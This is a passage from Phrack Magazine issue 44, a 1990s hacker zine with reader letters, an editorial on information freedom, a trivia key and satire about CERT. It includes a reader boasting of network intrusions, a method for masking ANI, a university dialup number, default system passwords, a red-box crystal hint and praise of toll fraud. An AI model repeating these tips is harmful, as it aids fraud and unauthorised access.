+1-2014607022             |||
+1-2014609523             |||
+1-7183975413           The Pit
+1-7183975532             |||
+1-7183975520             |||
+1-7183975442             |||
+1-7185074605             |||
+1-3133832116           Pirates Heaven ( The best SysOp I've seen: Nitro)
+1-7166554940           The Edge
+39-744302593           Temple Of Gurus ( Tecn[0]brains WHQ ) SysOp: POWS/TCB
+39-744305366                                |    |    |
+39-744305547                                |    |    |
+39-238003442           Asylum BBS
+39-24500837            Pier BBS Node 0
+39-24582105               |||   Node 1
```

Excuse me for the awful list (I am on many others BBS too !!!!) and note the my handle is usually _/ane but my real Identity/Handle is PLiNi0 iL VeCCHi0 and the Location I used to write is GReeNiSLaND (because the second-name that usually identify the Island of Ischia where I live with my parents: Ischia is a island located in middle Naples's Bay near the Island of Capri)... so I like to be called as
PLiNi0 iL VeCCHi0 / uNiTeD PHReHaCKeRS oF GReeNiSLaND or best -u-.-P-.-G-

My best works come in Unix Environment on BSD 4.x , Ultrix , SunOs and Multimax of Encore Corporation: I hacked the Italtel Network, the National Council of Research best known in Italy as C.N.R. or CNR, and many host at University of Naples, Rome, Salerno and Venice... Starting by Italtel Telematica in Milan I was at point of hack the HQ of AT&T in Bruxelles because many users of Italtel Telematica in Milan worked in AT&T too... but to get some examination at University (Like Fisics II and Cibernetica) I must abandon this k()()l work (but I'm interested to restart at AT&T).

So in the -= Phrack 42 =- I read this as follow:

```
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
```

\/

In the same number of Phrack Magazine I read about TheNewHacker in North Italy (in Torino) that was interested to get in contact with hackers. Ok, maybe I was a little hacker, but I stay in South Italy (I am located in Island of Ischia, near Napoli, U know !!!)... Anyway if U can give my E-mail address to TheNewHacker and give me the E-mail of TheNewHacker I will be so glad too... I was interested in contributing to write for a compilation file on the hacking scenes in Italy and France too (I have a friend that works at MATRA-ESPACE for ESA best known as European Spazial Agency located in Toulouse). So lemme known if I can help Your Magazine with my contributions and/or my work.

A last thing ....
can You, Dear Erik Bloodaxe, give me some Internet address of BBS or FTP Sites with Underground Stuff or any kind of other K()()l stuff ?!
(P.S. Can I get Phrack Magazine via FTP at any sites ?!??!)

[Hey man, Thanks a lot for the BBS list. I don't really call BBSes much, but I'm sure our readers will get a lot of use out of them!

About writing files, GO FOR IT! We always need files. Feel free to send us anything you have written and want to publish!

I will forward your info on to TheNewHacker in Italy. Maybe you two can take Italy by storm. Haha!

Phrack's FTP site is ftp.netsys.com. All issues can be found there. also zero.cypher.com has a lot of files for ftp.]

Hi. I've been spending all my free time reading through phreaker files and all of the old Phracks. And, I was wondering if you are still there???

If so, I need your help! Here's the story:

On August 3, 1993 I was indicted on charges that my company attempted to rip AT&T off of nearly $2MM in 1991. They say we started a 900# and went around the country calling it from Pay Telephones.

They say that we went to a truck stop in Oregon and called the number 43,000+ times racking up an $800,000+ phone bill.

They claim that computers were probably used, although I have seen no evidence of that.

These pay telephones are those AT&T Black Phones; you know, the ones in the airports. They are owned by AT&T, built by AT&T, designed by AT&T, and even billed to AT&T.

The evidence consists of nothing more than ANI reports. Some phone bills to back them up, but for the majority of it, they are using only ANI. Now, we all know that any can be blocked by having the operator get you a call. And it can be changed by dialing 0, having her get you 1-800-321-0288, then having the toll free call be made. In some areas, 900 calls slipped through that way, but it would be pretty hard to do 43,000 times.

My point is, there are probably flaws with ANI. Someone who knows what they are doing may possibly be able to block or change ANI. Or maybe these calls were never put through. Maybe someone got into the CO, etc...

What I need is someone who has knowledge of possible flaws with AT&T's theory. Enough that could give reasonable doubt and appear as an expert witness or point out where we could find someone.

If you know of someone who might be able to help, please respond. My INTERNET ID is NOFRIENDS@AOL.COM or I have set up a FAX @ 1-800-572-4403.

Remaining,
NOFRIENDS

[43000? Like a 43 and 3 zeros? Jesus. That's a lot of calls. I really don't understand how they can be charging you with something hey say was done from a payphone. Do they have pictures of you at the phone making the calls? Sounds like a load of crap and any lawyer should be able to get the charges dropped based on such flimsy evidence.

As far as there being a problem with ANI, I don't think that's an issue. I've never heard of anything like this happening in the past, but there always could be a first time. Something is obviously amiss, but my gut reaction is that the Phone Company is lying about there being such records.

Get a lawyer and demand the records be turned over during discovery. Then maybe you can see what you are up against. GET A LAWYER!@#]

Hi, I'd like to subscribe to Phrack and all upcoming issues (44+). Thanks.
BTW, when is 44 scheduled for?

Ciao,
spirit-hex@prometheus.mtlnet.org

PS: My board carries all PHRACK issues. I have around 4000 *quality* text files on my system. It's called operation prometheus at 514-735-4340. do you think you could post a small ad. for it in your magazine? We have FTP access/150 Usenet news/Internet accounts for members, ect.. (2 nodes at 14,400 baud). Thanks!

[There you go!]

Hey, if you are having problems with people breaking the registration agreement as outlined in your last couple issues of Phrack. i may be able to help, and then I may not. My neighbor is a good friend, and fraud investigator. She is aware of my hobbies one of which involves Phrack. She thinks it is really neat what I am able to do with computers / modem. I am speaking somewhat candidly here but I am sure that you are smart enough to get my point. Well she handles some stuff like the David Koresh thing and helping the ATF/FBI with other cases. She likes the stuff that is too complicated for the FBI, all in all she does the investigating and puts it into words that the FBI, ATF, USDJ, SS, Dept of Treasury/IRS can understand, so they can make an arrest. All in all what i am trying to say is I may be able to pass the word on down the line to her about these people breaking the copyright law now effective on Phrack magazine. If you would like my help on this subject, just for the simple fact she loves to do this stuff, and phrack is a regularly read magazine by myself. If you would like maybe something can be done to these hypocrites that value laws, and get people arrested for the same stuff that they are currently doing by not registering Phrack. Just let me know if you want to try to push it. I will get together w/ her and see what can be done. Hopefully she will just ask for names and get an investigation started. Never can tell tho.

L8r Sparky

[I hope to God that I never have to go through the legal nightmare of trying to prove financial damages incurred by companies "pirating" phrack.

It would be somewhat interesting to use some big company as an example, and embarrass everyone into submission, but I keep hoping that people will just be HONEST. Fuck, I may be a hacker, but I'm honest about it.

"Chris, have you broken into other people's computers?"
"Yes, yes I have."

"Company, do your people read Phrack without registering your subscriptions?"
"Uh, well, no, we used to read Phrack, uh, but we don't anymore."

You all suck. You know who you are. How can you live with yourselves?]

If you don’t already have the direct-dialup number for the student annex of the University of Adelaide for Phrack 44, here it is:

+61-8-223-2657

there are eight 2400 baud modems, but at the moment one is dead.

[Cool. International University Dialups!

Our big US list is still being compiled, so everyone keep sending in your school’s dialups. Its taking me forever to do this alone.]

Hi Chris....

Was thinking...seeing as you guys are in texas, how about an article on EDSNET ??

(There are dialups down here to it, via INFONET)

[If EDSNET is what I think it is, didn’t it used to be called Pac*It Plus?

I had a scan of it a LOOOONG time ago when everyone used it to call altger and tchh. If anyone has a scan of it, or wants to do one, please send it to Phrack!]

So, what IS new in cyberspace? lyl libido

[BILLY IDOL SPEAKS! OHMIGOD...HE TALKED TO ME! OH MY! I THINK I’M GONNA MESS UP MY PANTS! BILLY IDOL! OH GOD OH GOD OH GOD! OH MY GOD!!

Whew. Someone get the mop.

What’s new? Well, all kinds of people have jumped on the Express Lane of the Information Highway and have tried to make a new name for themselves by exploiting a concept they know nothing about purely as a marketing move. Gotta love it.

Bob, I’ll take Billy Idol in the Center Square to block...]

Thought you guys at Phrack might be interested in this small phile, if you don’t already have it. It’s simply a form letter to the FBI requesting all information they on file about you under the Freedom of Information Act and Privacy Act. They MUST respond, by law, or they face legal penalties. Traditionally what they do is ignore your request unless they think you have enough money to go to court (i.e, you work for the New York Times or something).

Really enjoyed Phrack #43 (as usual) - keep up the good work! (file follows signature)

Doug

PRIVACY ACT & FREEDOM OF INFORMATION ACT REQUEST

Name
Street Address
City, State, Zip Date

Federal Bureau of Investigation

Records Management Division - FOIA/PA Office
9th & Pennsylvania Avenue NW
Washington, DC 20535

Gentlemen:

This is a request under the provisions of both the Privacy Act (5 USC 552b) and the Freedom of Information Act (5 USC 522). This request is being made under both Acts.

I hereby request one copy of any and all records about me or referencing me maintained by the FBI. This includes (but should not be limited to) documents, reports, memoranda, letters, electronic files, database references, "do not file" files, photographs, audio tapes, videotapes, electronic or photographic surveillance, "june mail", mail covers, and other miscellaneous files, and index citations relating to me or referencing me in other files.

My full name is: __________________________
My date of birth was:_______________________
My place of birth was:______________________
My social security number is:________________
I have lived in these places:__________________________________
____

Other names, places, events, organizations, or other references under which you may find applicable records:____
____

As you know, FOIA/PA regulations provide that even if some requested material is properly exempt from mandatory disclosure, all segregable portions must be released. If the requested material is released with deletions, I ask that each deletion be marked to indicate the exemption(s) being claimed to authorize each particular withholding. In addition, I ask that your agency exercise its discretion to release any records which may be technically exempt, but where withholding serves no important public interest.

I hereby agree to pay reasonable costs associated with this request up to a maximum of $25 without my additional approval. However, I strongly request a fee waiver because this is, in part, a Privacy Act request.

This letter and my signature have been certified by a notary public as marked below.

Sincerely,

____

requester's signature

______________________________ ___________________________

requester's printed name notary stamp and signature

[Anyone who thinks they might be suspected of something might want to fill this out. Its not a bad idea. If YOU DON'T think you are under some kind of investigation, you probably shouldn't. No reason to give them any leads.]

"We at Phrack welcome constructive criticism, but at least have the nerve to email directly, rather than hide behind

> an anonymous remailer. That way, someone could have responded to you in a more direct and expeditious manner."

While I agree with your general analysis of the intelligence of that reader, I have to take exception to your disparaging of the anonymous service. The anonymous service takes flak from many people constantly, but usually it is from reactionary establishment types, and it's not what I expect from phrack.

Anonymous communications have many purposes other than the sender lacking "nerve". The "the only reason to use anon mail is because you are a coward and can't stand up for what you say" argument sounds remarkably similar to the "the only reason to use cryptography is because you are a criminal and have something to hide" argument.

No doubt many criminals use cryptography and no doubt many spineless cowards use anon mail, but to disparage someone for using anon mail is similar to disparaging someone for using cryptography: even if it is in this case accurate, it spreads the misconception that there are only "dishonest" reasons to use these things. As someone with great respect for privacy that allows me to see the legitimate (and necessary to a free and democratic society) use of both secure and private communications, and anonymous communications, I know that this is not the case. I will not list legitimate uses of anonymous mail for you, because they are much the arguments for cryptography, and no doubt you know all of these. But a possibility is that the person involved would have his job/professional connections threatened if some people knew that he read Phrack and sympathized with it. Just a possibility, but if it is not true in this case it is surely easy to believe it is true in others.

Sure, for those of us who can easily get a million email accounts from various places in any pseudonym we want, anonymous mail is unnecessary. But a legitimate and secure (and respected) way to send the occasional anonymous message is much preferable to (possibly illegal) deception and fraud.

So, in short, even though the reader in question may indeed have been a spineless coward (not to mention whining nitwit), to insult him for his use of the anonymous server is harmful to the cause of anonymous mail, a cause which has few supporters and many disparagers, and a cause which the operators of the anonymous server in Finland should be commended for. Secure anonymous mail (which really doesn't quite exist yet, actually), like secure encryption, is something necessary and good for a free society and, and should not be disparaged.

[Yes, you are 100% right. I really didn't mean to dis the anonymous mail service as a whole, I just wanted to rag on the butthead who sent me an anonymous piece of hate-mail.

I personally don't use, nor have a need to use, the anonymous mailers, but I know a lot of people do. They DO provide a much needed service to a lot of people, and you are right they should be commended on a job well done.

However, if someone wants to send me some kind of shitty piece of mail, get a pair of balls and show yourself. If you are so unsure of your comments that you need to hide, then your point must not be very valid.]

"Jurassic Punk" T-shirts are now available from your phriends at CYBERPUNK SYSTEM. These 100% cotton shirts are black, with artwork on the front with the words "A subculture 5,120 years in the making."

Underneath the letter are bitstreams "11010001011101". On the back, in white is "Attitude is everything." Allegedly similar in design to the Jurassic Park logo.

Shirt	$15 ea
Cap	$15 ea
Color Decals	$1 ea

Please include $3 per item for shipping and handling, $5 if overseas. Allow 3-4 weeks for delivery.

CYBERPUNK SYSTEM
P.O. Box 771072
Wichita, KS 67277-1072

Legacy@cpu.cyberpnk1.sai.com

****** STILL AVAILABLE ******

On May 24 1992, two lone Pirates, Legacy of CyberPunk System, and Captain Picard of Holodeck, had finally had enough of AT&T. Together, they traveled to the AT&T Maintenance Facility, just west of Goddard, Kansas, and claimed the property in the name of Pirates and Hackers everywhere. They hoisted the Jolly Roger skull and crossbones high on the AT&T flagpole, where it stayed for 2 days until it was taken down by security.

This event was photographed and videotaped by dGATOBAS Productions, to preserve this landmark in history. And now you can witness the event. For a limited time we are offering a 11" x 17" full color poster of the Jolly Roger Pirate flag flying high over AT&T, with the AT&T logo in plain view, with the caption; "WE CAME, WE SAW, WE CONQUERED."

Also available, by request is a 20" x 30" full color poster, and a cotton T-shirt with the same full color picture on the front.

Prices:

11" x 17" Full Color poster..........................	$10 US
20" x 30" Full Color photograph......................	$20 US
T-Shirt with picture on front........................	$20 US

If you are interested in purchasing any of the above items, simply send check or money order for the amount, plus $3 US per item for postage and handling to:

CYBERPUNK SYSTEM
P.O. Box 771072
Wichita, KS 67277-1072

Be sure to specify size on T-shirt.

A GIF of this is also available from CyberPunk System, 1:291/19 (FidoNet), 47:617/0 (VUARNet), 93:3316/0 (PlatinumNet), 69:2316/0 (CCi). FREQ magicname PIRATE. Also available uuencoded, send mail to Legacy@cpu.cyberpnk1.sai.com

[God bless the free enterprise system!
God bless capitalism!
God bless America!]

I am unhappy to say that UPi now has dropped writing the magazine from this point on. The reason is because Arch Bishop and myself do not have the time to get everyone to write their articles, sort the magazine out, etc, etc. This does not mean the group is dead, that is not true. The group is still alive, but all future releases will be sent to Phrack for publication but under the UPI name.

If you want to get a list of all the current sites and members of UPI you can finger my internet account to get the list. If you want any of the phone number(s) for the sites, or you have any questions or anything else to say you can drop us a line. Anyways I guess that’s it for now. ttyl

The Lost Avenger/UPI
Internet: mstone@nyx.cs.du.edu
Voice Mailbox: 416-505-8636

[Phrack appreciates this offer to donate your files to us! We're sorry to hear that your mag won't be continuing, but I know what a pain in the ass it is to put out a magazine. It SUCKS! It's a time consuming thankless task. But what the hell, I'm stupid, and I have NO LIFE! Hehe.]

****

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 2a of 27

Editorial

****

This is going to piss people off, but hell, that's the point of having an editorial, eh?

This issue I'd like to address something running rampant in our community: HYPOCRACY. I never really paid much attention to it, until the "Hacking At The End Of The Universe" conference in Amsterdam.

The phrase "Information Wants to be Free," almost cliche by now, was heard screaming from nearly every speaker's mouth. It underlie in the tone of the whole proceedings. Everyone was either bitching about how this should be free, or that should be available, or it shouldn't be illegal to do some particular act, or they were fervently offering their support of these ideals.

Granted, Holland has a notoriously permissive and open society; and indeed, Europe in general is far more laid back than the States, but even many in the US hold these ideals close to heart.

One of the first things that pissed me off was the hundred guilder entrance fee. That's fifty dollars! Just to get in. On top of that one had to pay for a tent, sleeping bag, mattress and food. I have no problems with paying a fee, but this was Hack-Tic charging. One of the biggest proponents of "Information Wants to be Free!"

Obviously YOUR information wants to be free, but theirs costs a hundred guilders.

Even more shocking was the fact that nearly every session involving some kind of "technology" was geared around a Hack-Tic product: the Demon Dialer (tm), their POCSAG demodulator, their forthcoming spread spectrum lan adapter, or the magazine itself. Were these free? Were the information behind their design provided so would-be technoweenies could run right home and break out the soldering iron? Fuck no. Again, Hack-Tic's information is valuable, and YOU must PAY for the luxury of viewing it. Unlike XYZ Corporation's information, whose R & D or Financials (which might bring someone a hefty "finder's fee") so desperately wants to be free of its magnetic bonds and spread all the way to YOUR hard drive.

I don't want to rag on Hack-Tic too much. I mean, throwing a conference costs a shitload of money, and I have a GREAT deal of respect for them for actually pulling off something so monumental. I just want to put things in perspective. The major cons in America (HoHo, Scon) really don't charge. They "ask" for donations. Sure, you might get a nasty look if you don't cough up five or ten bucks, but hell, everyone does. They WANT to. A good time is worth a handfull of change. And there isn't some awesome requirement just to get in the damn door. Besides, losses can always be made up by selling a plethora of crap such as t-shirts and videos, which everyone always wants to buy. (Hardware costs. :))

Shifting back to America: 2600. Again, "Information Wants to be Free!" E. Goldstein, huge proponent of the slogan. Uh, do you pay five bucks an issue? I do. So, 2600's information isn't quite so eager to be free either, I guess. But, again, it does cost money to print a magazine like that, like it does to throw a conference, so certainly everyone can understand people trying to recap one's losses in a worthwhile project, right?

Enter LOD Communications BBS Archive Project. The community went apeshit when thirty nine dollars was asked for the entire results of the project. LOD? Asking for MONEY? FOR INFORMATION??? INFORMATION WANTS TO BE FREE!!!#!@$ That's disgusting!

But wait, I thought charging a little bit to try to recap losses (equipment, phone calls, disks, postage, TIME) was ok? "Oh sure it is dude, just not for you." Oh how silly of me. Of course! Thanks for setting me straight on that issue.

Then there was Phrack. Always free to the community. Always available for everyone's enjoyment. Asking only that Corporate types pay a registration fee of a hundred dollars just to keep them honest. (They aren't.) Knowing full well that they are stealing it, sometimes quite brazenly. Resting quietly, knowing that they are just as unethical as they ever claimed us to be.

We make no bones about money here. Our information is just as valuable as anyone's (probably more so) and is vastly more voluminous. Hell, Issue 43 was probably bigger than every Hack-Tic and almost every 2600 combined. And, wait a minute, could it be? Free? Oh my god! So it is. Free in both cost and access.

Let me tell you something. Information does not want to be free, my friends. Free neither from its restraints nor in terms of dollar value. Information is a commodity like anything else. More valuable than the rarest element, it BEGS to be hoarded and priced. Anyone who gives something away for nothing is a moron. (I am indeed stupid.) I can't fault anyone for charging as long as they don't try to rationalize their reasoning behind a facade of excuses, all the while shouting "Information Wants to be Free!"

Trade secrets don't want to be free, marketing projections don't want to be free, formulas don't want to be free, troop placements don't want to be free, CAD designs do not want to be free, corporate financial information doesn't want to be free, my credit report sure as hell doesn't want to be free!

Let's take a step back: how to use a system IS information that should be proliferated, how computers network IS information that should be spread, new technologies WANT to be explained, holes ought to be pointed out, bug patches NEED to be free...note the difference?

I'll end my rant with another piece of flawed logic. At HEU a debate raged on about why phone calls should be free. Hey, I love a toll-fraud device as much as the next guy (blue box tones still make me cry), and I've used more codes in my life than a million warez couriers and I make no bones about it...I fucking stole service! Yippee! Arrest me!

The argument stated "The lines are already there, so why should I have to pay to use an unused line?" Ok, fine, you don't...but you DO have to pay for laying fiber, designing switch generic upgrades, ATM research, compression and filtering algorithm design, video dial tone, daily maintenance, directory assistance, operator service or any of the hundreds of other things your old fee would go towards. Don't like that argument? Fine, the tents at HEU were already there and the seats had been layed out and were unused...get me my hundred guilders refunded.

Once upon a time a Pig, a Cat, a Dog, and a Little Red Hen lived together in a little house. The Pig, the Cat, and the Dog were all very lazy. The Little Red Hen had to do everything around the house by herself.

All the Pig, the Cat, and the Dog wanted to do was play.

One day, as the Little Red Hen was raking in the yard, she found some seeds. "Who will help me plant these grains of wheat?" she asked.

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

Soon the wheat grew tall and golden. "Who will help me cut the wheat?" asked the Little Red Hen.

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

When the grain was cut and ready to be ground into flour, the Little Red Hen asked, "Who will help me take the grain to the mill?"

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

When the flour came back from the mill, the Little Red Hen asked, "Who will help me bake the bread?"

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

She made the flour into dough, and rolled the dough, and put it in the oven. When the bread was baked, she took it out of the oven. Mmmmmmmmmm! Didn’t it smell good!

"Who will help me eat this bread?" asked the Little Red Hen.

"I will," said the Pig.

"I will," said the Cat.

"I will," said the Dog.

"Oh, no, you won’t!" said the Little Red Hen. "I found the seeds. I planted them. I harvested the grain and took it to the mill. I made the flour into bread. I did the work by myself, and now I am going to eat the bread--all by myself."

And she did.

Think back to your childhood...didn’t we learn ANYTHING?\032

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 3 of 27

```
                           //   //  /\   //   ====
                          //   //  //\\ //   ====
                         ==== //  //  \\/   ====

                     /\   //  // \\    //  /===   ====
                    //\\ //  //   //  //   \=\   ====
                   //  \\/    \\ //  //   ===/  ====
```

PART I

***

PHRACK TRIVIA

Last issue I tried something different. I tried to have a little trivia contest, giving away some prizes for the first to get all the answers. Well, I should have known that Phrack's readers are lazy. The amount of you who actually responded was pathetic.

The winners are: dFx, Holistic, Damiano & Matt

I had planned on 5 winners. Notice how many won. I won't even say how many these guys got right, because noone came close to 100%. Obviously I'm the only trivia buff in the underground.

PHRACK TRIVIA ANSWERS

1) CCIS
Common Channel Interoffice Signalling

2) Stimpson J. Cat's Roommate is?
Ren Hoek

3) Name the cracker.
Bill Landreth

4) METAL AE password.
KILL

5) Who invented the TeleTrial?
King Blotto

6) Name Bloom County's hacker.
Oliver Wendell Jones

7) What was the Whiz Kids' computer named?
RALF

8) Western Union owned what long distance service?
MetroPhone

9) What computer read both Apple][and IBM PC disks?
The Franklin ACE

10) Who made the "Charlie" board?
John Draper

11) How many credits for a CNE?
19

12) What was in the trunk of the Chevy Malibu?
Dead Aliens

13) Name three bands A. Jourgensen had a hand in.
Ministry, Revolting Cocks, Skatenigs, Pailhead, Lard, (etc.)

14) SYSTEST Password:
UETP

15) What computer makes the best Sim Stim decks?
Ono-Sendai

16) What magazine brought the telephone underground to national attention in 1971?
Esquire

17) What is the significance of 1100 + 1700 hz?
KP

18) What magazine was raided for publishing black box plans?
Ramparts

19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ?
The Private Sector

20) CLASS
Custom Local Area Signalling Services

21) What computer responds "OSL, Please" ?
NT SL-1

22) RACF secures what OS?
MVS

23) The first person to create a glider gun got what?
$50.00

24) QRM
Interference from another station or man-made source

25) PSS
Packet Switch Stream

26) What PSN was acquired by GTE Telenet?
UniNet

27) 914-725-4060
OSUNY

28) April 15, 1943
Discovery of LSD

29) 8LGM
8-legged Grove Machine

30) WOPR
War Operations Planned Response

31) What happened on March 1, 1990?
Steve Jackson Games Raided By Secret Service

32) Port 79
Finger

33) Who starred in the namesake of Neil Gorsuch's UNIX security mailing list?
Sean Connery

34) What Dutch scientist did research in RF?
Van Eck

35) What was the author of GURPS Cyberpunk better known as?
The Mentor

36) Who would "Piss on a spark plug if he thought it would do any good?"
General Berringer

37) What thinktank did Nickie Halflinger escape from?
Tarnover

38) NCSC
National Computer Security Center

39) Who is Pengo’s favorite astronomer?
Cliff Stoll

40) What language was Mitnik’s favorite OS written in?
BLISS

41) Abdul Alhazred wrote what?
The Necronomicon

42) The answer to it all is?
42

43) Who is the father of computer security?
Donn B. Parker

44) Who wrote VCL?
Nowhere Man

45) What kind of computer did Cosmo have?
A Cray

46) Hetfield, Ulrich, Hammet, Newstead
Metallica

47) What company wrote the computer game "Hacker?"
Activision

48) Who does Tim Foley work for?
US Secret Service

49) Who played Agent Cooper?
Kyle MacLachlan

50) Vines runs over what OS?
AT&T Sys V. UNIX

51) Mr. Peabody built what?
The Way-back Machine

52) Who makes SecurID?
Security Dynamics

53) What’s in a Mexican Flag?
White Tequila, Green Creme de Menthe & Grenadine, layered

54) Who created Interzone?
William S. Burroughs

55) JAMs (as led by John Dillinger)
Justified Ancients of MU

56) Abbie Hoffman helped start what phreak magazine?
YIPL

57) What was once "Reality Hackers?"
Mondo 2000

58) Gates and Allen "wrote" BASIC for what computer?
The Altair

59) Tahoe is related to what OS?
BSD Unix

60) CPE 1704 TKS is what?
Launch Code from Wargames

61) Telemail’s default was what?
A

62) "Do Androids Dream of Electric Sheep" became what?
Blade Runner

63) What broadcasts between roughly 40 and 50 mhz?
Cordless Phones

64) Who created Tangram, Stratosphere, and Phaedra among others?
Tangerine Dream

65) What was Flynn’s most popular video game?
Space Paranoids

66) Who lived in Goose Island, Oregon?
Dr. Steven Falken

67) 516-935-2481
Plovernet

68) What is the security of ComSecMilNavPac?
9

69) What has the "spiral death trap?"
Qix

70) Who was the Midnight Skulker?
Mark Bernay

71) TMRC
Tech Model Railroad Club

72) Who wrote "Jawbreaker?"
John Harris

73) 213-080-1050
Alliance Teleconferencing, Los Angeles

74) What is the Tetragrammaton represented as?
YHVH (or IHVH)

75) Who is Francis J. Haynes?
Frank (of the Phunny Phone Call fame)

76) Who ran into one of the Akira test subjects?
Tetsuo Shima

77) What had "Munchies, Fireballs and Yllabian Space Guppies?"
Stargate

78) PARC
Palo Alto Research Center

79) Alex and his droogs hung out where?
The Korova Milk Bar

80) Jane Chandler in DC’s "Hacker Files" is based on who?
Gail Thackeray

81) The Artificial Kid lives on what planet?
Reverie

82) 208057040540
QSD

83) What are the two most common processors for cellular phones?
8051 & 68HC11

84) Who came up with the term "ICE?"
Tom Maddox

85) What group is hoped might help the "Angels" contact RMS?
The Legion of Doom

86) Who is Akbar’s friend?
Jeff

87) What company’s games was David Lightman after?
Protovision

88) 26.0.0.0
NET-MILNET

89) Who was Mr. Slippery forced to locate?
The Mailman

90) Who is "The Whistler?"
Joe Engressia

91) What use would a 6.5536 crystal be?
Making a red box

92) .--. .... .-.   .- -.-. -.-
PHRACK

93) The Dark Avenger likes what group?
Iron Maiden

94) What book spawned the term "worm?"
The Shockwave Rider

95) Michael in "Prime Risk" wanted money for what?
Flying Lessons

96) Automan’s programmer worked for who?
The Police Department

97) What signal filled in keystrokes on TOPS-20?
ESC

98) ITS
Incompatible Time-sharing System

99) (a/c)+121
Inward Operator

100) What drug kept the scanners sane?
Ephemerol

Bonus 1
3 pts Name three bodies of work by Andrew Blake?
Night Trips
Night Trips 2
Hidden Obsessions
Secrets
(etc.)

Bonus 2
3 pts Name three currently available titles with Norma Kuzma.
Fast Food
Not of This Earth
Cry Baby

```
        Laser Moon
        (etc.)

Bonus 3
4 pts   Why would I hate Angel Broadhurst?
        Because he was living with Christina Applegate.  (Duh)

********************************************************************************

               **  PHRACK MAGAZINE NEEDS THE FOLLOWING **

    Any Storage Device Capable of Writing ISO-9660 Format + Software
      (IE: Personal ROM-Writer, Pinnacle Optical Drive, MicroBoard)

                    A Flatbed 24-Bit Color Scanner

                            SCSI Hard Drives

                      486 or Pentium Processors

        SGI Indy/Indigo/Crimson/Iris/Challenge II/Onyx  (Any would do)

                     Spectrum Analysis Equipment

                              Oscilloscopes

            Horizontal & Vertical Sync Adjustment Equipment

                    Miscellaneous Ham Radio Equipment

     Any donations will be generously rewarded with k-rad info and
                        huge amounts of good karma.

** PHRACK MAGAZINE DOESN'T REALLY NEED BUT KINDA WOULD LIKE THE FOLLOWING **

               The Drew Barrymore Home Video (The Motel One)

           The Christina Applegate "Home Video"  (The Poker One)

                           Xuxa's "Early" Films

                  Howard Stern's "Banned by the FCC" CD

                      Jennie Garth's Workout Tape

              The European Smut Mag with Alissa Milano in it.

********************************************************************************
```

[Something very humorous I found on the FireWalls List]

A one-act play

Dramatis Personae:

```
 Perry Metzger (PM): an AVP responsible for the firewall at a
                            Fortune 100 company.
        Joe Cert (JC): A person at CERT supposed to be helping.
```

[The scene opens to Perry on the phone with Joe Cert. Perry is at work and freaking out because he doesn't run Sun sendmail and doesn't know what to do. If he turns off mail, his users will kill him. He has no idea how many machines he has to fix or if he has a problem at all.]

PM: Well, I have the problem that I don't normally run Sun sendmail, and I can't run it, so I need to know enough that I can figure out how to fix my security problem.

JC: Well, we don't have a procedure to tell people anything beyond what we put in the advisory.

PM: I run the gateway for a firm that trades hundreds of billions of dollars a day in the financial markets. We can’t afford do get shut down. Isn’t there any way you can tell me anything that can help me?

JC: Well, we really don’t have a procedure in place.

PM: I see. Can I ask you some questions?

JC: Sure.

PM: So this problem, would it be fixed if I had the Prog mailer turned off on my machines?

JC: Well, its a problem that will allow people to run programs on your machine.

PM: Yes, but would turning off the Prog mailer fix it?

JC: Well, the problem allows people to run programs on your machine.

PM: I see. Will this problem only hurt machines that have direct TCP access to the internet, or are machines that can get mail indirectly also possibly affected?

JC: The hole is exploited by sending mail to the machine.

PM: Yes, but do you need SMTP access to the machine, or will just being able to send mail to it hurt you?

JC: Well, the hole is exploited by sending mail to the machine.

PM: look, the machine on my firewall can’t be telneted to. Does that make me safe?

JC: Well, the hole is exploited by sending mail to the machine.

PM: Listen, I have THREE THOUSAND workstations in a dozen cities on three continents. Are you telling me that I have to tell all my people that they are working the weekend installing a new sendmail on every machine in the firm? I don’t even know how to test to see if I’ve fixed the problem once I’ve done that!

JC: Well, the whole is exploited by sending mail to the machine.

PM: Can’t you tell me any details?

JC: We really don’t have a procedure for that.

PM: Do you know what the problem is?

JC: I can reproduce it, yes.

PM: Look, I work for a company with REAL MONEY on the line here. I can get you a letter from a managing director telling you that I’m legit. You can check who we are in any newspaper -- we’re one of the largest investment banks in the world. Every day the Wall Street Journal lists the Lehman Brothers T-Bond Index on page C-1. You can check my criminal record -- hell, the SEC makes you get fingerprinted so many times around here that I’ve still got ink on my fingers from the last time. Can’t you give me some help here?

JC: We really don’t have a procedure for doing that. I’m taking notes, though, and I’ll tell my management of your concerns.

[He continues in this vein, but eventually, our hero gives up, realizing that CERT is part of the problem, not the solution. All they’ve succeeded in doing is keeping him up at night. He can’t fix his problem, since he doesn’t know how. He has no idea if he has a problem. He can’t check once he’s done something to determine if he’s

fixed it. All he knows is that CERT has no procedure for telling him
anything regardless of who he is, period.]

PM: So what you are telling me is that if I want details I have to
subscribe to 2600 Magazine?

JC: We don't have a procedure for giving you more information, no.

PM: I'm sure the crackers will be happy to hear that. They are likely
telling each other at a nice high speed.

****

IF SECURITY TYPES WERE K-RAD
PART II

SecurNet BBS Captures
(From the LODCOM BBS Archive Project)

Number :) 214
From :) Uncertain Future
Subject :) Get a life

Hey All,

Everyone out there who keeps calling up the Hotline
begging for BUGS can just get a life.

If you have to ask, you don't deserve to know.

UnCERTian Future

[A]uto reply [N] [R]e-read [Q]uit:N

Number :) 215
From :) Spaf Master
Subject :) ...

Rum0r haz 1t that a p13cE 0f sH1t hAqu3r
Nam3d Sk0tt ChaZ1n iz 0n Th3 F1RST l1zt!*&@$

3yE hAv3 Try3D 2 g3t h1m Rem0v3D ButT n0-1
0N th3 l1sT w1lL d3w 1t!!

Y Kan'T w3 d0 s0meth1ng aB0uT tHeze pr1ckz?

1 r3MeMb3r a dAy Wh3n 1t 0nLy t0oK a PhAx
thR3at3n1nG 2 3nD mY sUpP0rT w0ulD g3t
